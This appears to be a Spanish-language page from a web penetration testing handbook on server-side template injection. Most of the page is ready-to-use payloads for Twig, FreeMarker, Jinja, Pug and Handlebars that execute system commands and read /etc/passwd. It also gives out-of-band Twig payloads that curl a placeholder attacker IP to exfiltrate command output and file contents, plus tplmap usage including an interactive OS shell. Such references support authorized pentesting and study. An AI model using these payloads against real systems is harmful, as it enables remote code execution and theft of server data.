🟢
Web Application Penetration Testing
  • Inicio
  • General
    • Metodologías y estándares
    • Aplicaciones vulnerables
  • Reconocimiento y recolección de información
    • Web Application Firewall (WAF)
    • Domain Name System (DNS)
    • Subdominios y Virtual Host (VHost)
    • SSL/TLS y algoritmos de cifrados
    • Certificados
    • Tecnologías web
  • Escaneo y enumeración
    • HTTP security headers
    • HTTP methods (verbs)
    • Crawling y spidering
    • Fuzzing
      • Directorios
      • Archivos
      • Extensiones
      • Parámetros
        • GET
        • POST
      • Wordlists
    • Compresión y ofuscación
    • Herramientas automatizadas
  • Explotación
    • API keys
    • Clickjacking
    • HTTP methods (verbs)
    • Input data validation
    • HTTP Host header
    • Autenticación y autorización
      • Cookie
      • JSON Web Token (JWT)
      • OAuth
      • SAML
    • Same-origin policy (SOP)
      • Cross-origin resource sharing (CORS)
    • Cross-site scripting (XSS)
    • Cross-site request forgery (CSRF)
    • File upload
    • Path traversal & file inclusion
    • Command injection
      • Node.js
    • SQL injection (SQLi)
      • MySQL / MariaDB
      • Microsoft SQL Server
      • PostgreSQL
      • Oracle
      • sqlmap
    • NoSQL injection (NoSQLi)
    • XML external entity (XXE) injection
    • CRLF injection
    • XPath injection
    • LDAP injection
    • PDF injection
    • Server-side template injection (SSTI)
    • Server-side include (SSI) injection
    • Server-side parameter pollution
    • Server-side request forgery (SSRF)
    • Web cache poisoning
    • HTTP request smuggling
    • GraphQL
    • Open redirect
    • Content Management System (CMS)
      • WordPress
    • Websocket
    • Deserialization
    • Flash
  • Checklist
    • Web application penetration testing
    • Web API penetration testing
Con tecnología de GitBook
En esta página
  • Template engines
  • Identificación general de SSTI
  • Arbol de decisión para la identificación del motor de plantilla
  • Twig
  • Out-of-band (OOB)
  • Apache FreeMarker
  • Jinja
  • Pug / Jade
  • Handlebars
  • Herramientas automatizadas
  • Tplmap

¿Te fue útil?

  1. Explotación

Server-side template injection (SSTI)

Template engines

Template engine
Lenguaje
Server / client side

Twig

PHP

Server side

Apache FreeMarker

Java (usualmente)

Server side

Jinja

Python

Server side

Pug / Jade

JavaScript

Server side (usualmente)

Handlebars

JavaScript

Server and client side

Mustache

Varios

Server and client side

Identificación general de SSTI

# payloads general
{1234*2}
{1234+1234}
%{1234*2}
%{1234+1234}
<%= 1234*2 %>
<%= 1234+1234 %>
${1234*2}
${1234+1234}
{{1234*2}}
{{1234+1234}}
#{1234*2}
#{1234+1234}
@{1234*2}
@{1234+1234}
@(1234*2)
@(1234+1234)

# identificación
2468
2,468
2.468
<2468>

# payloads error
${{<%[%'"}}%\.
<%= foobar %>

Arbol de decisión para la identificación del motor de plantilla

Twig

Identificación general.

{{1234*'2'}}
2468
{{-2468-}}
2468

Payloads generales.

{{1234*2}}
{{1234*'2'}}
{{1234+1234}}
{{1234+'1234'}}
{{-2468-}}
{{[0]|reduce('system','id')}}
{{[0]|reduce('passthru','id')}}
{{[0]|reduce('system','cat /etc/passwd')}}
{{[0]|reduce('passthru','cat /etc/passwd')}}
{{['id']|filter('system')}}
{{['id']|filter('passthru')}}
{{['cat /etc/passwd']|filter('system')}}
{{['cat /etc/passwd']|filter('passthru')}}
{{['id']|map('system')|join}}
{{['id']|map('passthru')}}
{{['cat /etc/passwd']|map('system')|join}}
{{['cat /etc/passwd']|map('passthru')|join}}

Out-of-band (OOB)

Habilitación de servidor HTTP.

python -m SimpleHTTPServer <port>
python3 -m http.server <port>

Identificación de SSTI out of bound (blind).

{{[0]|reduce('system','curl http://<attacker-IP-address>/oob')}}

Ejecución de comandos.

{% set output %}
{{[0]|reduce('system','id')}}
{% endset %}

{% set exfil = output| url_encode %}
{{[0]|reduce('system','curl http://<attacker-IP-address>/?oob=' ~ exfil)}}

Lectura de archivos.

{% set output %}
{{[0]|reduce('system','cat /etc/passwd')}}
{% endset %}

{% set exfil = output| url_encode %}
{{[0]|reduce('system','curl http://<attacker-IP-address>/?oob=' ~ exfil)}}

Apache FreeMarker

Identificación general.

${1234*2}
2,468
2.468
${1234*2}
${1234+1234}
${"freemarker.template.utility.Execute"?new()("id")}
${"freemarker.template.utility.Execute"?new()("cat /etc/passwd")}

Jinja

Identificación general.

{{"2468"*3}}
246824682468
{{1234*2}}
{{1234+1234}}
{{config|pprint}}
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("id").read()}}{%endif%}{% endfor %}
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("cat /etc/passwd").read()}}{%endif%}{% endfor %}

Pug / Jade

Identificación general.

#{1234*"2"}
<2468>
#{1234*2}
#{1234*'2'}
#{1234+1234}
#{global.process.mainModule.require('child_process').spawnSync('id').stdout}
#{global.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}

Handlebars

{{#each (readdir "/etc")}}
    {{this}}
{{/each}}

{{read "/etc/passwd"}}

Herramientas automatizadas

Tplmap

Instalación.

git clone https://github.com/epinna/tplmap.git
cd tplmap
pip install virtualenv
virtualenv -p python2 virtualenv-tplmap
source virtualenv-tplmap/bin/activate
pip install -r requirements.txt
./tplmap.py

Utilización de herramienta.

# Método GET
./tplmap.py -u "http://<target>/index.php?<parameter>=value*"

# Método POST
./tplmap.py -u "http://<target>" -d <parameter>="value*"

# Ejecución de comandos
--os-cmd=<command>

# Shell interactiva
--os-shell
AnteriorPDF injectionSiguienteServer-side include (SSI) injection

Última actualización hace 2 meses

¿Te fue útil?

.

https://github.com/MrW0l05zyn/pentesting/blob/master/web/payloads/ssti/common-ssti-payloads.txt
Payloads All The Things
https://github.com/epinna/tplmap
Arbol de decisión para la identificación del motor de plantilla